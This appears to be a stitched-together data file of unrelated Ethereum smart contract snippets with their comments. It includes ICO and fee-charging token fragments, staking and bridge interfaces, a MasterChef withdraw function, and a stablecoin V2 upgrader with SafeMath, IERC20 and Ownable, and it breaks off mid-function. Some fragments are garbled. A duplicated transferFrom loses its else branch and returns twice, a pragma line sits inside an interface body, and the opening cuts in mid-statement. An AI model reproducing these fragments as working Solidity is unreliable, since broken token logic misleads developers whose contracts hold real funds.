wei _maximumBuy = 10**18 * 10000000000 /_originalBuyPrice; } /// @dev Gets account's balance /// @param _addr Address of the account /// @return Account balance function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } /// @dev check address is approved investor /// @param _addr address function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } /// @dev get ETH deposit /// @param _addr address get deposit /// @return amount deposit of an buyer function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } /// @dev Adds list of new investors to the investors list and approve all /// @param newInvestorList Array of new investors addresses to be added function addInvestorList(address[] newInvestorList) onlyOwner public { for (uint256 i = 0; i < newInvestorList.length; i++){ approvedInvestorList[newInvestorList[i]] = true; } } /// @dev Removes list of investors from list /// @param investorList Array of addresses of investors to be removed function removeInvestorList(address[] investorList) onlyOwner public { for (uint256 i = 0; i < investorList.length; i++){ approvedInvestorList[investorList[i]] = false; } } /// @dev Transfers the balance from msg.sender to an account /// @param _to Recipient address /// @param _amount Transfered amount in unit /// @return Transfer status function transfer(address _to, uint256 _amount) public isTradable returns (bool) { // if sender's balance has enough unit and amount >= 0, // and the sum is not overflow, // then do transfer if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public isTradable returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public isTradable returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // get allowance function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @dev Withdraws Ether in contract (Owner only) /// @return Status of withdrawal function withdraw() onlyOwner public returns (bool) { return owner.send(this.balance); } }
Send _value amount of tokens from address _from to address _to The transferFrom method is used for a withdraw workflow, allowing contracts to send tokens on your behalf, for example to "deposit" to a contract address and/or to charge fees in sub-currencies; the command should fail unless the _from account has deliberately authorized the sender of the message via some mechanism; we propose these standardized APIs for approval:
function transferFrom( address _from, address _to, uint256 _amount ) public isTradable returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; return false; } }
1,826,957
./partial_match/1/0x671a9088aed9A2d0092732bD5C5D114c524B4F49/sources/FairPlay.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("Fair Play", "FP") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 10; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 11; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 13; uint256 totalSupply = 100_000_000 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(marketingWallet, true); excludeFromFees(devWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(devWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
9,318,357
./full_match/1/0x2A0D283b509E6EeF294233031763bA5086373378/sources/browser/DefisafeToken.sol
Returns the symbol of the token, usually a shorter version of the name./
function symbol() public view returns (string memory) { return _symbol; }
9,792,747
./full_match/80001/0x5828C287320288e130740ed538f3852fAD13995D/sources/contracts/v0.1/interfaces/IStaker.sol
Note: the `amountFloatMinted` isn't strictly needed by the graph, but it is good to add it to validate calculations are accurate. TODO: couldn't get this to work!
interface IStaker { ║ EVENTS ║ ╚════════════════════════════╝*/ event Upgrade(uint256 version); event StakerV1( address admin, address floatTreasury, address floatCapital, address floatToken, uint256 floatPercentage ); event MarketAddedToStaker( uint32 marketIndex, uint256 exitFee_e18, uint256 period, uint256 multiplier, uint256 balanceIncentiveExponent, int256 balanceIncentiveEquilibriumOffset, uint256 safeExponentBitShifting ); event AccumulativeIssuancePerStakedSynthSnapshotCreated( uint32 marketIndex, uint256 accumulativeFloatIssuanceSnapshotIndex, uint256 accumulativeLong, uint256 accumulativeShort ); event StakeAdded(address user, address token, uint256 amount, uint256 lastMintIndex); event StakeWithdrawn(address user, address token, uint256 amount); event StakeWithdrawnWithFees(address user, address token, uint256 amount, uint256 amountFees); event FloatMinted(address user, uint32 marketIndex, uint256 amountFloatMinted); event MarketLaunchIncentiveParametersChanges( uint32 marketIndex, uint256 period, uint256 multiplier ); event StakeWithdrawalFeeUpdated(uint32 marketIndex, uint256 stakeWithdralFee); event BalanceIncentiveParamsUpdated( uint32 marketIndex, uint256 balanceIncentiveExponent, int256 balanceIncentiveCurve_equilibriumOffset, uint256 safeExponentBitShifting ); event FloatPercentageUpdated(uint256 floatPercentage); event NextPriceStakeShift( address user, uint32 marketIndex, uint256 amount, bool isShiftFromLong, uint256 userShiftIndex ); function userAmountStaked(address, address) external view returns (uint256); function addNewStakingFund( uint32 marketIndex, address longTokenAddress, address shortTokenAddress, uint256 kInitialMultiplier, uint256 kPeriod, uint256 unstakeFee_e18, uint256 _balanceIncentiveCurve_exponent, int256 _balanceIncentiveCurve_equilibriumOffset ) external; function pushUpdatedMarketPricesToUpdateFloatIssuanceCalculations( uint32 marketIndex, uint256 marketUpdateIndex, uint256 longTokenPrice, uint256 shortTokenPrice, uint256 longValue, uint256 shortValue ) external; function stakeFromUser(address from, uint256 amount) external; function shiftTokens( uint256 amountSyntheticTokensToShift, uint32 marketIndex, bool isShiftFromLong ) external; function latestRewardIndex(uint32 marketIndex) external view returns (uint256); function safe_getUpdateTimestamp(uint32 marketIndex, uint256 latestUpdateIndex) external view returns (uint256); function mintAndStakeNextPrice( uint32 marketIndex, uint256 amount, bool isLong, address user ) external; function userNextPrice_stakedActionIndex(uint32 marketIndex, address userAddress) external view returns (uint256 stakedActionIndex); function userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom( uint32 marketIndex, bool isLong, address userAddress ) external view returns (uint256 amountUserRequestedToShiftAwayFromLongOnNextUpdate); function userNextPrice_paymentToken_depositAmount( uint32 marketIndex, bool isLong, address userAddress ) external view returns (uint256 depositAmount); }
846,210
./partial_match/1/0x3a23F943181408EAC424116Af7b7790c94Cb97a5/sources/src/bridges/hop/interfaces/IHopL1Bridge.sol
L1Bridge Hop Interface L1 Hop Bridge, Used to transfer from L1 to L2s./
interface IHopL1Bridge { function sendToL2( uint256 chainId, address recipient, uint256 amount, uint256 amountOutMin, uint256 deadline, address relayer, uint256 relayerFee ) external payable; pragma solidity ^0.8.4; }
11,003,480
./partial_match/3/0x0AAd60Be63Bfa5a4A43C601663edc709C1CFaA2A/sources/MasterChef.sol
Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accDOGSPerShare).div(1e12).sub(user.rewardDebt); safeDOGSTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accDOGSPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); }
5,199,120
/** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "../../v1/Ownable.sol"; import { FiatTokenV2 } from "../FiatTokenV2.sol"; import { FiatTokenProxy } from "../../v1/FiatTokenProxy.sol"; import { V2UpgraderHelper } from "./V2UpgraderHelper.sol"; /** * @title V2 Upgrader * @notice Performs BRLC v2 upgrade, and runs a basic sanity test in a single * atomic transaction, rolling back if any issues are found. This may be * overkill, but the peace of mind is worth the gas spent. By performing the * upgrade atomically, it ensures that there is no disruption of service if the * upgrade is not successful for some unforeseen circumstances. * @dev Read docs/v2_upgrade.md */ contract V2Upgrader is Ownable { using SafeMath for uint256; FiatTokenProxy private _proxy; FiatTokenV2 private _implementation; address private _newProxyAdmin; string private _newName; V2UpgraderHelper private _helper; /** * @notice Constructor * @param proxy FiatTokenProxy contract * @param implementation FiatTokenV2 implementation contract * @param newProxyAdmin Grantee of proxy admin role after upgrade * @param newName New ERC20 name (e.g. "BRL//C" -> "BRL Coin") */ constructor( FiatTokenProxy proxy, FiatTokenV2 implementation, address newProxyAdmin, string memory newName ) public Ownable() { _proxy = proxy; _implementation = implementation; _newProxyAdmin = newProxyAdmin; _newName = newName; _helper = new V2UpgraderHelper(address(proxy)); } /** * @notice The address of the FiatTokenProxy contract * @return Contract address */ function proxy() external view returns (address) { return address(_proxy); } /** * @notice The address of the FiatTokenV2 implementation contract * @return Contract address */ function implementation() external view returns (address) { return address(_implementation); } /** * @notice The address of the V2UpgraderHelper contract * @return Contract address */ function helper() external view returns (address) { return address(_helper); } /** * @notice The address to which the proxy admin role will be transferred * after the upgrade is completed * @return Address */ function newProxyAdmin() external view returns (address) { return _newProxyAdmin; } /** * @notice New ERC20 token name * @return New Name */ function newName() external view returns (string memory) { return _newName; } /** * @notice Upgrade, transfer proxy admin role to a given address, run a * sanity test, and tear down the upgrader contract, in a single atomic * transaction. It rolls back if there is an error. */ function upgrade() external onlyOwner { // The helper needs to be used to read contract state because // AdminUpgradeabilityProxy does not allow the proxy admin to make // proxy calls. // Check that this contract sufficient funds to run the tests uint256 contractBal = _helper.balanceOf(address(this)); require(contractBal >= 2e5, "V2Upgrader: 0.2 BRLC needed"); uint256 callerBal = _helper.balanceOf(msg.sender); // Keep original contract metadata string memory symbol = _helper.symbol(); uint8 decimals = _helper.decimals(); string memory currency = _helper.currency(); address masterMinter = _helper.masterMinter(); address owner = _helper.fiatTokenOwner(); address pauser = _helper.pauser(); address blacklister = _helper.blacklister(); // Change implementation contract address _proxy.upgradeTo(address(_implementation)); // Transfer proxy admin role _proxy.changeAdmin(_newProxyAdmin); // Initialize V2 contract FiatTokenV2 v2 = FiatTokenV2(address(_proxy)); v2.initializeV2(_newName); // Sanity test // Check metadata require( keccak256(bytes(_newName)) == keccak256(bytes(v2.name())) && keccak256(bytes(symbol)) == keccak256(bytes(v2.symbol())) && decimals == v2.decimals() && keccak256(bytes(currency)) == keccak256(bytes(v2.currency())) && masterMinter == v2.masterMinter() && owner == v2.owner() && pauser == v2.pauser() && blacklister == v2.blacklister(), "V2Upgrader: metadata test failed" ); // Test balanceOf require( v2.balanceOf(address(this)) == contractBal, "V2Upgrader: balanceOf test failed" ); // Test transfer require( v2.transfer(msg.sender, 1e5) && v2.balanceOf(msg.sender) == callerBal.add(1e5) && v2.balanceOf(address(this)) == contractBal.sub(1e5), "V2Upgrader: transfer test failed" ); // Test approve/transferFrom require( v2.approve(address(_helper), 1e5) && v2.allowance(address(this), address(_helper)) == 1e5 && _helper.transferFrom(address(this), msg.sender, 1e5) && v2.allowance(address(this), msg.sender) == 0 && v2.balanceOf(msg.sender) == callerBal.add(2e5) && v2.balanceOf(address(this)) == contractBal.sub(2e5), "V2Upgrader: approve/transferFrom test failed" ); // Transfer any remaining BRLC to the caller withdrawBRLC(); // Tear down _helper.tearDown(); selfdestruct(msg.sender); } /** * @notice Withdraw any BRLC in the contract */ function withdrawBRLC() public onlyOwner { IERC20 brlc = IERC20(address(_proxy)); uint256 balance = brlc.balanceOf(address(this)); if (balance > 0) { require( brlc.transfer(msg.sender, balance), "V2Upgrader: failed to withdraw BRLC" ); } } /** * @notice Transfer proxy admin role to newProxyAdmin, and self-destruct */ function abortUpgrade() external onlyOwner { // Transfer proxy admin role _proxy.changeAdmin(_newProxyAdmin); // Tear down _helper.tearDown(); selfdestruct(msg.sender); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @notice The Ownable contract has an owner address, and provides basic * authorization control functions * @dev Forked from https://github.com/OpenZeppelin/openzeppelin-labs/blob/3887ab77b8adafba4a26ace002f3a684c1a3388b/upgradeability_ownership/contracts/ownership/Ownable.sol * Modifications: * 1. Consolidate OwnableStorage into this contract (7/13/18) * 2. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) * 3. Make public functions external (5/27/20) */ contract Ownable { // Owner of the contract address private _owner; /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event OwnershipTransferred(address previousOwner, address newOwner); /** * @dev The constructor sets the original owner of the contract to the sender account. */ constructor() public { setOwner(msg.sender); } /** * @dev Tells the address of the owner * @return the address of the owner */ function owner() external view returns (address) { return _owner; } /** * @dev Sets a new owner address */ function setOwner(address newOwner) internal { _owner = newOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); setOwner(newOwner); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV1_1 } from "../v1.1/FiatTokenV1_1.sol"; import { AbstractFiatTokenV2 } from "./AbstractFiatTokenV2.sol"; import { EIP712 } from "../util/EIP712.sol"; import { EIP712Domain } from "./EIP712Domain.sol"; import { EIP3009 } from "./EIP3009.sol"; import { EIP2612 } from "./EIP2612.sol"; /** * @title FiatToken V2 * @notice ERC20 Token backed by fiat reserves, version 2 */ contract FiatTokenV2 is FiatTokenV1_1, EIP3009, EIP2612 { uint8 internal _initializedVersion; /** * @notice Initialize v2 * @param newName New token name */ function initializeV2(string calldata newName) external { // solhint-disable-next-line reason-string require(initialized && _initializedVersion == 0); name = newName; DOMAIN_SEPARATOR = EIP712.makeDomainSeparator(newName, "2"); _initializedVersion = 1; } /** * @notice Increase the allowance by a given increment * @param spender Spender's address * @param increment Amount of increase in allowance * @return True if successful */ function increaseAllowance(address spender, uint256 increment) external whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) returns (bool) { _increaseAllowance(msg.sender, spender, increment); return true; } /** * @notice Decrease the allowance by a given decrement * @param spender Spender's address * @param decrement Amount of decrease in allowance * @return True if successful */ function decreaseAllowance(address spender, uint256 decrement) external whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) returns (bool) { _decreaseAllowance(msg.sender, spender, decrement); return true; } /** * @notice Execute a transfer with a signed authorization * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function transferWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused notBlacklisted(from) notBlacklisted(to) { _transferWithAuthorization( from, to, value, validAfter, validBefore, nonce, v, r, s ); } /** * @notice Receive a transfer with a signed authorization from the payer * @dev This has an additional check to ensure that the payee's address * matches the caller of this function to prevent front-running attacks. * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function receiveWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused notBlacklisted(from) notBlacklisted(to) { _receiveWithAuthorization( from, to, value, validAfter, validBefore, nonce, v, r, s ); } /** * @notice Attempt to cancel an authorization * @dev Works only if the authorization is not yet used. * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function cancelAuthorization( address authorizer, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused { _cancelAuthorization(authorizer, nonce, v, r, s); } /** * @notice Update allowance with a signed permit * @param owner Token owner's address (Authorizer) * @param spender Spender's address * @param value Amount of allowance * @param deadline Expiration time, seconds since the epoch * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused notBlacklisted(owner) notBlacklisted(spender) { _permit(owner, spender, value, deadline, v, r, s); } /** * @notice Internal function to increase the allowance by a given increment * @param owner Token owner's address * @param spender Spender's address * @param increment Amount of increase */ function _increaseAllowance( address owner, address spender, uint256 increment ) internal override { _approve(owner, spender, allowed[owner][spender].add(increment)); } /** * @notice Internal function to decrease the allowance by a given decrement * @param owner Token owner's address * @param spender Spender's address * @param decrement Amount of decrease */ function _decreaseAllowance( address owner, address spender, uint256 decrement ) internal override { _approve( owner, spender, allowed[owner][spender].sub( decrement, "ERC20: decreased allowance below zero" ) ); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AdminUpgradeabilityProxy } from "../upgradeability/AdminUpgradeabilityProxy.sol"; /** * @title FiatTokenProxy * @dev This contract proxies FiatToken calls and enables FiatToken upgrades */ contract FiatTokenProxy is AdminUpgradeabilityProxy { constructor(address implementationContract) public AdminUpgradeabilityProxy(implementationContract) {} } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV1 } from "../../v1/FiatTokenV1.sol"; import { Ownable } from "../../v1/Ownable.sol"; /** * @title V2 Upgrader Helper * @dev Enables V2Upgrader to read some contract state before it renounces the * proxy admin role. (Proxy admins cannot call delegated methods.) It is also * used to test approve/transferFrom. */ contract V2UpgraderHelper is Ownable { address private _proxy; /** * @notice Constructor * @param fiatTokenProxy Address of the FiatTokenProxy contract */ constructor(address fiatTokenProxy) public Ownable() { _proxy = fiatTokenProxy; } /** * @notice The address of the FiatTokenProxy contract * @return Contract address */ function proxy() external view returns (address) { return address(_proxy); } /** * @notice Call name() * @return name */ function name() external view returns (string memory) { return 